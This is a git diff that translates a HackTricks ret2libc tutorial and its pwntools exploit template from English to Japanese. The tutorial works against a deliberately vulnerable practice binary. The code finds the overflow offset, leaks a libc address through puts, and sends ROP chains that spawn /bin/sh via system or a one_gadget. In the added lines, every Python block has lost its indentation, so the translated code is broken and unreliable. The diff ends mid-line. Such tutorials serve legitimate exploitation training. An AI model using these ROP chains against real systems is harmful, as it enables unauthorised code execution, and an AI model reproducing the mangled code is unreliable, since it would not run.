☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index 578375585..b41fedefd 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -1,100 +1,91 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Quick Resume +# クイックリサーム -1. **Find** overflow **offset** -2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **オーバーフローのオフセット**を見つける +2. `POP_RDI`、`PUTS_PLT`、`MAIN_PLT`のガジェットを**見つける** +3. 前述のガジェットを使用して、putsまたは別のlibc関数のメモリアドレスを**リーク**し、libcのバージョンを**見つける**([ダウンロードする](https://libc.blukat.me)) +4. ライブラリを使用して、ROPを計算し、それを悪用する -# Other tutorials and binaries to practice +# 他のチュートリアルとバイナリの練習 -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) +このチュートリアルでは、このチュートリアルで提案されたコード/バイナリを悪用します:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +他の便利なチュートリアル:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)、[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) -# Code - -Filename: `vuln.c` +# コード +ファイル名:`vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +# ROP - LIBCアドレスの漏洩テンプレート -# ROP - Leaking LIBC template - -I'm going to use the code located here to make the exploit.\ -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +ここにあるコードを使用して、エクスプロイトを作成します。\ +エクスプロイトをダウンロードし、脆弱性のあるバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供してください: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +# 1- オフセットの検出 +テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されていない場合、必要なコードを実行してオフセットを見つけます(デフォルトでは `OFFSET = ""`)。 ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**実行** `python template.py` とすると、プログラムがクラッシュした状態でGDBコンソールが開かれます。その**GDBコンソール**内で `x/wx $rsp` を実行して、RIPを上書きする予定だった**バイト**を取得します。最後に、**python**コンソールを使用して**オフセット**を取得します。 ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../.gitbook/assets/image (140).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +オフセット(この場合は40)を見つけた後、その値を使用してテンプレート内のOFFSET変数を変更します。\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +別の方法は、`pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp`を使用することです。 -# 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +# 2- ガジェットの検索 +次に、バイナリ内のROPガジェットを見つける必要があります。これらのROPガジェットは、**libc**を見つけるために`puts`を呼び出すために役立ち、後で**最終的なエクスプロイトを実行**するために使用されます。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -105,108 +96,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT`は**puts関数**を呼び出すために必要です。\ +`MAIN_PLT`は、**オーバーフローを再度利用**するために、1つのインタラクション後に**main関数**を再度呼び出すために必要です(無限の利用可能なラウンド)。**それは各ROPの最後にプログラムを再度呼び出すために使用されます**。\ +**POP_RDI**は、呼び出される関数に**パラメータ**を渡すために必要です。 -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP\_RDI** is needed to **pass** a **parameter** to the called function. +このステップでは、実行する必要はありません。実行中にpwntoolsがすべてを見つけます。 -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -# 3- Finding LIBC library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +# 3- LIBCライブラリの検索 +今度は、使用されている**libc**ライブラリのバージョンを見つける時です。そのために、メモリ中の**puts関数**の**アドレス**を**リーク**し、そのアドレスにあるputsバージョンがどのライブラリバージョンにあるかを**検索**します。 ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) - - return hex(leak) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) + +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +これを行うために、実行されるコードの最も重要な行は次のとおりです: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +これにより、**RIP** を**上書き**できるまでいくつかのバイトが送信されます:`OFFSET`。\ +次に、ガジェット `POP_RDI` の**アドレス**が設定されます。これにより、次のアドレス(`FUNC_GOT`)が**RDI**レジストリに保存されます。これは、`PUTS_GOT`のアドレスがメモリ内のputs関数のアドレスが`PUTS_GOT`で指し示すアドレスに保存されるようにするためです。\ +その後、`PUTS_PLT`が呼び出されます(**RDI**内に`PUTS_GOT`が含まれています)。これにより、putsは`PUTS_GOT`内のコンテンツ(メモリ内のputs関数のアドレス)を**読み取り**、それを**表示**します。\ +最後に、**main関数が再度呼び出され**るため、オーバーフローを再度利用できます。 -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +これにより、puts関数を**だまして**、**メモリ**内のputs関数の**アドレス**(libcライブラリ内にある)を**表示**させました。このアドレスがわかると、使用されている**libcのバージョンを調べる**ことができます。 ![](<../../../.gitbook/assets/image (141).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +**ローカル**バイナリを**攻撃**しているため、使用されている**libc**のバージョンを特定する必要はありません(単に`/lib/x86_64-linux-gnu/libc.so.6`内のライブラリを見つければよいです)。\ +ただし、リモート攻撃の場合は、以下で説明します。 -## 3.1- Searching for libc version (1) +## 3.1- libcバージョンの検索(1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +次のウェブページで使用されているライブラリを検索できます:[https://libc.blukat.me/](https://libc.blukat.me)\ +また、見つかった**libc**のバージョンをダウンロードすることもできます。 ![](<../../../.gitbook/assets/image (142).png>) -## 3.2- Searching for libc version (2) +## 3.2- libcバージョンの検索(2) -You can also do: +次の手順を実行することもできます: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` * `$ ./get` -This will take some time, be patient.\ -For this to work we need: +これには時間がかかるので、お待ちください。\ +これが機能するためには、次の情報が必要です: -* Libc symbol name: `puts` -* Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +* Libcシンボル名:`puts` +* リークしたlibcアドレス:`0x7ff629878690` +これにより、おそらく使用されている**libc**を特定できます。 ``` ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +2つのマッチが見つかりました(最初のものが機能しない場合は、2番目のものを試してみてください)。最初のものをダウンロードしてください: ``` ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +現在の作業ディレクトリにある `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` から libc をコピーします。 -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -## 3.3- Other functions to leak - +## 3.3- リークするための他の関数 ```python puts printf @@ -214,29 +195,25 @@ __libc_start_main read gets ``` +# 4- ベースlibcアドレスの検索とexploiting -# 4- Finding based libc address & exploiting +この時点で、使用されているlibcライブラリを知る必要があります。ローカルバイナリをexploitしているので、単に`/lib/x86_64-linux-gnu/libc.so.6`を使用します。 -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +したがって、`template.py`の冒頭で**libc**変数を以下のように変更します:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +**libcライブラリのパス**を指定することで、**exploitの残りは自動的に計算されます**。 +`get_addr`関数の中で、**libcのベースアドレス**が計算されます: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - {% hint style="info" %} -Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. +注意してください。**最終的なlibcのベースアドレスは00で終わる必要があります**。もしそうでない場合、間違ったライブラリが漏洩している可能性があります。 {% endhint %} -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** - +次に、`system`関数のアドレスと文字列`"/bin/sh"`の**アドレス**は、**libc**の**ベースアドレス**と与えられた**libcライブラリ**から**計算**されます。 ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -245,9 +222,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +最後に、/bin/shの実行エクスプロイトが準備され、送信されます。 ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -257,82 +232,68 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +最後のROPを説明しましょう。\ +最後のROP (`rop1`) は再びmain関数を呼び出し、それから**オーバーフロー**を再び**悪用**することができます(そのために`OFFSET`が再びここにあります)。その後、`POP_RDI`を呼び出して、_"/bin/sh"_の**アドレス**(`BINSH`)を指し、**system**関数(`SYSTEM`)を呼び出したいのです。なぜなら、_"/bin/sh"_のアドレスがパラメータとして渡されるからです。\ +最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**正常に終了**し、アラートが生成されません。 -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a **_**/bin/sh**_** shell.** +**これにより、エクスプロイトは**_**/bin/sh**_**シェルを実行します。** ![](<../../../.gitbook/assets/image (143).png>) -# 4(2)- Using ONE\_GADGET +# 4(2)- ONE\_GADGETの使用 -You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system**と**"/bin/sh"**を使用する代わりにシェルを取得することもできます。**ONE\_GADGET**は、libcライブラリ内で1つの**ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ +ただし、通常いくつかの制約があります。最も一般的で回避しやすい制約は、`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御できるため、さらにNULL値を送信して制約を回避するだけです。 ![](<../../../.gitbook/assets/image (615).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` +# EXPLOITファイル -# EXPLOIT FILE - -You can find a template to exploit this vulnerability here: +この脆弱性を悪用するためのテンプレートはこちらで見つけることができます: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# Common problems +# よくある問題 -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN\_PLT = elf.symbols\['main'] が見つかりません +もし"main"シンボルが存在しない場合、mainのコードがどこにあるかを確認してください: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +そして、アドレスを手動で設定します: ```python MAIN_PLT = 0x401080 ``` +## Putsが見つかりません -## Puts not found - -If the binary is not using Puts you should check if it is using +バイナリがPutsを使用していない場合は、次のようなエラーメッセージを確認してください。 ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: - +すべてのエクスプロイトを作成した後に、次のような**エラー**が見つかった場合は、「/bin/sh」のアドレスから**64バイトを引く**ことを試してください。 ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index 6cb4376c2..c158a6230 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -37,25 +35,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -65,15 +63,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -81,11 +79,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = 